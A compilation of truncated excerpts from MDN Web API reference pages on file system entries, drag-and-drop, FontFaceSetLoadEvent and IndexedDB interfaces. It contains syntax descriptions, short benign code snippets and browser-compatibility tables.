...o does not implement the synchronous API. Check the browser compatibility for any part of the API you use carefully, and see File and Directory Entries API support in Firefox for more details. Getting access to a file system There are two ways to get access to file systems defined in the current specification draft: When handling a drop event for drag and drop, you can call DataTransferItem.
webkitGetAsEntry() to get the FileSystemEntry for a dropped item. If the result isn't null, then it's a dropped file or directory, and you can use file system calls to work with it. The HTMLInputElement.
webkitEntries property lets you access the FileSystemFileEntry objects for the currently selected files, but only if they are dragged-and-dropped onto the file chooser (bug 1326031). If HTMLInputElem...
...etAsEntry() to get the FileSystemEntry for a dropped item. If the result isn't null, then it's a dropped file or directory, and you can use file system calls to work with it. The HTMLInputElement.
webkitEntries property lets you access the FileSystemFileEntry objects for the currently selected files, but only if they are dragged-and-dropped onto the file chooser (bug 1326031). If HTMLInputElement.
webkitdirectory is true, the <input> element is instead a directory picker, and you get FileSystemDirectoryEntry objects for each selected directory. Asynchronous API The asynchronous API should be used for most operations, to prevent file system accesses from blocking the entire browser if used on the main thread. It includes the following interfaces: FileSystem Represents a file system. Fil...
FontFaceSetLoadEvent - Web APIs
definition of 'FontFaceSetLoadEvent' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...i on iOSSamsung InternetFontFaceSetLoadEvent ExperimentalChrome Full support 35Edge Full support <=79Firefox Full support YesIE ? Opera Full support 22Safari ?
WebView Android No support NoChrome Android Full support 35Firefox Android Full support YesOpera Android Full support 22Safari iOS ? Samsung Internet Android Full support ...
...upport 3.0FontFaceSetLoadEvent() constructor ExperimentalChrome Full support 57Edge Full support <=79Firefox ? IE ? Opera Full support 44Safari ?
WebView Android No support NoChrome Android Full support 57Firefox Android ? Opera Android Full support 43Safari iOS ? Samsung Internet Android Full support 7.0fon...
...rt 7.0fontfaces ExperimentalChrome Full support 35Edge Full support <=79Firefox Full support YesIE ? Opera Full support 22Safari ?
WebView Android No support NoChrome Android Full support 35Firefox Android Full support YesOpera Android Full support 22Safari iOS ? Samsung Internet Android Full support ...
HTMLElement - Web APIs
interface, while others implement it via an interface that inherits it. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/HTMLElement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">HTMLElement</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Properties Inherit...
Drag Operations - Web APIs
The following describes the steps that occur during a drag and drop operation. The drag operations described in this document use the DataTransfer interface. This document does not use the DataTransferItem interface nor the DataTransferItemList interface. The draggable Attribute In a
web page, there are certain cases where a default drag behavior is used. These include text selections, images, and links. When an image or link is dragged, the URL of the image or link is set as the drag data, and a drag begins. For other elements, they must be part of a selection for a default drag to occur. To see this in effect, select an area of a
webpage, and then click and hold the mouse and drag the selection. An OS-specific rendering of the selection will appear and follow the mouse pointer as the dr...
...ons.) Drag Data All drag events have a property called dataTransfer which holds the drag data (dataTransfer is a DataTransfer object). When a drag occurs, data must be associated with the drag which identifies what is being dragged. For example, when dragging the selected text within a textbox, the data associated with the drag data item is the text itself. Similarly, when dragging a link on a
web page, the drag data item is the link's URL. The drag data contains two pieces of information, the type (or format) of the data, and the data's value. The format is a type string (such as text/plain for text data), and the value is a string of text. When the drag begins, you add data by providing a type and the data. During the drag, in an event listener for the dragenter and dragover events, you...
...ou can check the dropEffect property to determine which effect was ultimately chosen. If the chosen effect were "move", then the original data should be removed from the source of the drag within the dragend event. Specifying Drop Targets A listener for the dragenter and dragover events are used to indicate valid drop targets, that is, places where dragged items may be dropped. Most areas of a
web page or application are not valid places to drop data. Thus, the default handling of these events is not to allow a drop. If you want to allow a drop, you must prevent the default handling by cancelling both the dragenter and dragover events. You can do this either by returning false from attribute-defined event listeners, or by calling the event's preventDefault() method. The latter may be more...
..., though, you would likely know that the right type of data was available, as it was previously checked during a dragover event.) In the example here, once the data has been retrieved, we insert the string as the textual content of the target. This has the effect of inserting the dragged text where it was dropped, assuming that the drop target is an area of text such as a p or div element. In a
web page, you should call the preventDefault() method of the event if you have accepted the drop, so that the browser's default handling is not triggered by the dropped data as well. For example, when a link is dragged to a
web page, Firefox will open the link. By cancelling the event, this behavior will be prevented. You can retrieve other types of data as well. If the data is a link, it should hav...
IDBCursor.advance() - Web APIs
Syntax cursor.advance(count); Parameters count The number of times to move the cursor forward. Exceptions This method may raise a DOMException of one of the following types: Exception Description TransactionInactiveError This IDBCursor's transaction is inactive. TypeError The value passed into the count parameter was zero or a negative number. ...
...dexed Database API DraftThe definition of 'advance()' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...equest. ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBCursor.continue() - Web APIs
Syntax cursor.continue(key); Parameters key Optional The key to position the cursor at. ...
...Indexed Database API DraftThe definition of 'continue()' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...quest. ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBCursor.delete() - Web APIs
est object, and, in a separate thread, deletes the record at the cursor's position, without changing the cursor's position. Once the record is deleted, the cursor's value is set to null. Be aware that you can't call delete() (or IDBCursor.update()) on cursors obtained from IDBIndex.openKeyCursor(). For such needs, you have to use IDBIndex.openCursor() instead. Note: This feature is available in
Web Workers. Syntax myIDBCursor.delete(); Returns An IDBRequest object on which subsequent events related to this operation are fired. The result attribute is set to undefined. Exceptions This method may raise a DOMException of one of the following types: Exception Description TransactionInactiveError This IDBCursor's transaction is inactive. ReadOnlyError ...
... Indexed Database API DraftThe definition of 'delete()' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...request. ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBCursor.direction - Web APIs
Syntax var direction = cursor.direction; Value A string (defined by the IDBCursorDirection enum) indicating the direction in which the cursor is traversing the data. ...
...Indexed Database API DraftThe definition of 'direction' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...uest. ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBCursor.primaryKey - Web APIs
Syntax var value = cursor.primaryKey; Value A value of any data type. ...
...exed Database API DraftThe definition of 'primaryKey' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...est. ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBCursor.source - Web APIs
Syntax var source = cursor.source; Value The IDBObjectStore or IDBIndex that the cursor is iterating over. ...
... Indexed Database API DraftThe definition of 'source' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...request. ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBCursor.update() - Web APIs
, in a separate thread, updates the value at the current position of the cursor in the object store. If the cursor points to a record that has just been deleted, a new record is created. Be aware that you can't call update() (or IDBCursor.delete()) on cursors obtained from IDBIndex.openKeyCursor(). For such needs, you have to use IDBIndex.openCursor() instead. Note: This feature is available in
Web Workers. Syntax var anIDBRequest = myIDBCursor.update(value); Parameters value The new value to be stored at the current position. Return value An IDBRequest object on which subsequent events related to this operation are fired. Exceptions This method may raise a DOMException of one of the following types: Exception Description TransactionInactiveError Thi...
...ndexed Database API DraftThe definition of 'update()' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...request. ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBCursorWithValue.value - Web APIs
Syntax var value = myIDBCursorWithValue.value; Value The value of the current cursor. Example In this example we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the object store. Within each iteration we log the value of the cursor with cursor.value. The cursor does not require us to select the data based on a key; we can just grab all of it. ...
...exed Database API DraftThe definition of 'IDBDatabase' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... request. ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBDatabase.close() - Web APIs
Database interface returns immediately and closes the connection in a separate thread. The connection is not actually closed until all transactions created using this connection are complete. No new transactions can be created for this connection once this method is called. Methods that create transactions throw an exception if a closing operation is pending. Note: This feature is available in
Web Workers. Syntax IDBDatabase.close(); Example // Let us open our database var DBOpenRequest = window.indexedDB.open("toDoList", 4); // opening a database. // Create event handlers for both success and failure of DBOpenRequest.onerror = function(event) { note.innerHTML += "<li>Error loading database.</li>"; }; DBOpenRequest.onsuccess = function(event) { note.innerHTML += "<li>Database in...
... Indexed Database API DraftThe definition of 'close()' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... request. ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support 25Firefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBDatabase.deleteObjectStore() - Web APIs
The deleteObjectStore() method of the IDBDatabase interface destroys the object store with the given name in the connected database, along with any indexes that reference it. As with IDBDatabase.createObjectStore, this method can be called only within a versionchange transaction. Note: This feature is available in
Web Workers. Syntax dbInstance.deleteObjectStore(name); Parameters name The name of the object store you want to delete. Exceptions This method may raise a DOMException of one of the following types: Exception Description InvalidStateError Occurs if the method was not called from a versionchange transaction callback. For older
WebKit browsers, you must call first. TransactionInactiveError Occurs if a request is made on a sour...
...abase API DraftThe definition of 'deleteObjectStore()' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...esktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternetdeleteObjectStoreChrome Full support 24 Full support 24 No support 23 -- 24Prefixed Prefixed Implemented with the vendor prefix:
webkitEdge Full support 12Firefox Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support 25Firefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBDatabase.name - Web APIs
Syntax var dbName = IDBDatabase.name; Value A DOMString containing the name of the connected database. Example This example shows a database connection being opened, the resulting IDBDatabase object being stored in a db variable, and the name property then being logged. For a full example, see our To-do Notifications app (view example live). ...
... Indexed Database API DraftThe definition of 'name' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...l request. ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support 25Firefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBDatabase.objectStoreNames - Web APIs
Syntax var list[] = IDBDatabase.objectStoreNames; Value A DOMStringList containing a list of the names of the object stores currently in the connected database. ...
...Database API DraftThe definition of 'objectStoreNames' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternetobjectStoreNamesChrome Full support 24 Full support 24 No support 23 -- 24Prefixed Prefixed Implemented with the vendor prefix:
webkitEdge Full support 12Firefox Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support 25Firefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBDatabase.onabort - Web APIs
Syntax IDBDatabase.onabort = function(event) { ... }; Example This example shows an IDBOpenDBRequest.onupgradeneeded block that creates a new object store; it also includes onerror and onabort functions to handle non-success cases. ...
... Indexed Database API DraftThe definition of 'onabort' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...equest. ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support 25Firefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBDatabase.onerror - Web APIs
Syntax IDBDatabase.onerror = function(event) { ... ...
... Indexed Database API DraftThe definition of 'onerror' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...equest. ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support 25Firefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBDatabase.onversionchange - Web APIs
The onversionchange event handler of the IDBDatabase interface handles the versionchange event, fired when a database structure change (IDBOpenDBRequest.onupgradeneeded event or IDBFactory.deleteDatabase) was requested elsewhere (most probably in another window/tab on the same computer). This is different from the versionchange transaction (but it is related). Note: This feature is available in
Web Workers. Syntax IDBDatabase.onversionchange = function(event) { ... } Example This example shows an IDBOpenDBRequest.onupgradeneeded block that creates a new object store; it also includes onerror and onabort functions to handle non-success cases, and an onversionchange function to notify when a database structure change has occurred. request.onupgradeneeded = function(event) { var db = e...
... Database API DraftThe definition of 'onversionchange' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternetonversionchangeChrome Full support 24 Full support 24 No support 23 -- 24Prefixed Prefixed Implemented with the vendor prefix:
webkitEdge Full support 12Firefox Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support 25Firefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBDatabase.transaction() - Web APIs
Syntax IDBDatabase.transaction(storeNames); IDBDatabase.transaction(storeNames, mode); Parameters "durability" -- the durability constrints for the transction. Valid values are: "default", "strict", and "relaxed". ...
...xed Database API DraftThe definition of 'transaction()' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...st. ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support 25Firefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBDatabase.version - Web APIs
Syntax var myInteger = IDBDatabase.version; Value An integer containing the version of the connected database. ...
... Indexed Database API DraftThe definition of 'version' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...equest. ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support 25Firefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBKeyRange.bound() - Web APIs
The bound() method of the IDBKeyRange interface creates a new key range with the specified upper and lower bounds. The bounds can be open (that is, the bounds exclude the endpoint values) or closed (that is, the bounds include the endpoint values). By default, the bounds are closed. Note: This feature is available in
Web Workers. Syntax var myIDBKeyRange = IDBKeyRange.bound(lower, upper); var myIDBKeyRange = IDBKeyRange.bound(lower, upper, lowerOpen); var myIDBKeyRange = IDBKeyRange.bound(lower, upper, lowerOpen, upperOpen); Parameters lower specifies the lower bound of the new key range. upper specifies the upper bound of the new key range. lowerOpen Optional indicates whether the lower bound excludes the endpoint value. The default is false. upperOpen Optional Indicate...
...Indexed Database API DraftThe definition of 'bound()' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... request. ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBKeyRange.lower - Web APIs
Syntax var lower = myKeyRange.lower Value The lower bound of the key range (can be any type.) Example The following example illustrates how you'd use a key range. Here we declare keyRangeValue = IDBKeyRange.upperBound("F", "W", true, true); -- a range that includes everything between "F" and "W" but not including them -- since both the upper and lower bounds have been declared as open (true). ...
... Indexed Database API DraftThe definition of 'lower' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... request. ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBKeyRange.lowerBound() - Web APIs
Syntax var myIDBKeyRange = IDBKeyRange.lowerBound(lower); var myIDBKeyRange = IDBKeyRange.lowerBound(lower, open); Parameters lower specifies the lower bound of the new key range. open Optional indicates whether the lower bound excludes the endpoint value. The default is false. Return value IDBKeyRange: The newly created key range. ...
...xed Database API DraftThe definition of 'lowerBound()' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...est. ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBKeyRange.lowerOpen - Web APIs
Syntax var lowerOpen = myKeyRange.lowerOpen Value A boolean: Value Indication true The lower-bound value is not included in the key range. false The lower-bound value is included in the key range. Example The following example illustrates how you'd use a key range. ...
...ndexed Database API DraftThe definition of 'lowerOpen' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...uest. ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBKeyRange.only() - Web APIs
Syntax var myIDBKeyRange = IDBKeyRange.only(value); Parameters value is the value for the new key range. Return value IDBKeyRange: The newly created key range. Exceptions This method may raise a DOMException of the following types: Exception Description DataError The value parameter passed was not a valid key. Example The following example illustrates how you'd use an only key range. ...
... Indexed Database API DraftThe definition of 'only' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...l request. ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBKeyRange.upper - Web APIs
Syntax var upper = myKeyRange.upper Value The upper bound of the key range (can be any type.) Example The following example illustrates how you'd use a key range. Here we declare keyRangeValue = IDBKeyRange.upperBound("F", "W", true, true); -- a range that includes everything between "F" and "W" but not including them -- since both the upper and lower bounds have been declared as open (true). ...
... Indexed Database API DraftThe definition of 'upper' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... request. ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBKeyRange.upperBound() - Web APIs
Syntax var myIDBKeyRange = IDBKeyRange.upperBound(upper[, open=false]) Parameters bound specifies the upper bound of the new key range. open indicates whether the upper bound excludes the endpoint value. The default is false. Optional Return value IDBKeyRange: The newly created key range. ...
...xed Database API DraftThe definition of 'upperBound()' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...est. ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBKeyRange.upperOpen - Web APIs
Syntax var upperOpen = myKeyRange.upperOpen Value A boolean: Value Indication true The upper-bound value is not included in the key range. false The upper-bound value is included in the key range. Example The following example illustrates how you'd use a key range. ...
...ndexed Database API DraftThe definition of 'upperOpen' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...uest. ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 22Opera Android Full support 14Safari iOS Full support 8Samsung Internet Android ...
IDBOpenDBRequest - Web APIs
The IDBOpenDBRequest interface of the IndexedDB API provides access to the results of requests to open or delete databases (performed using IDBFactory.open and IDBFactory.deleteDatabase), using specific event handler attributes. Note: This feature is available in
Web Workers. ...
...t handler attributes. Note: This feature is available in
Web Workers. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/IDBRequest" target="_top"><rect x="151" y="1" width="100" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="201" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">IDBRequest</text></a><polyline points="251,25 261,20 261,30 251,25" stroke="#D4DDE4" fill="none"/><line x1="261" y1="...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="201" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">IDBRequest</text></a><polyline points="251,25 261,20 261,30 251,25" stroke="#D4DDE4" fill="none"/><line x1="261" y1="25" x2="291" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/IDBOpenDBRequest" target="_top"><rect x="291" y="1" width="160" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="371" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">IDBOpenDBRequest</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Propertie...
IDBRequest.onerror - Web APIs
Syntax request.onerror = function(event) { ... }; Example The following example requests a given record title, onsuccess gets the associated record from the IDBObjectStore (made available as objectStoreTitleRequest.result), updates one property of the record, and then puts the updated record back into the object store. ...
... Indexed Database API DraftThe definition of 'onerror' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...pMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternetonerrorChrome Full support 24 Full support 24 Full support 23Prefixed Prefixed Implemented with the vendor prefix:
webkitEdge Full support 12Firefox Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support ...
... Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support 15Safari Full support 7
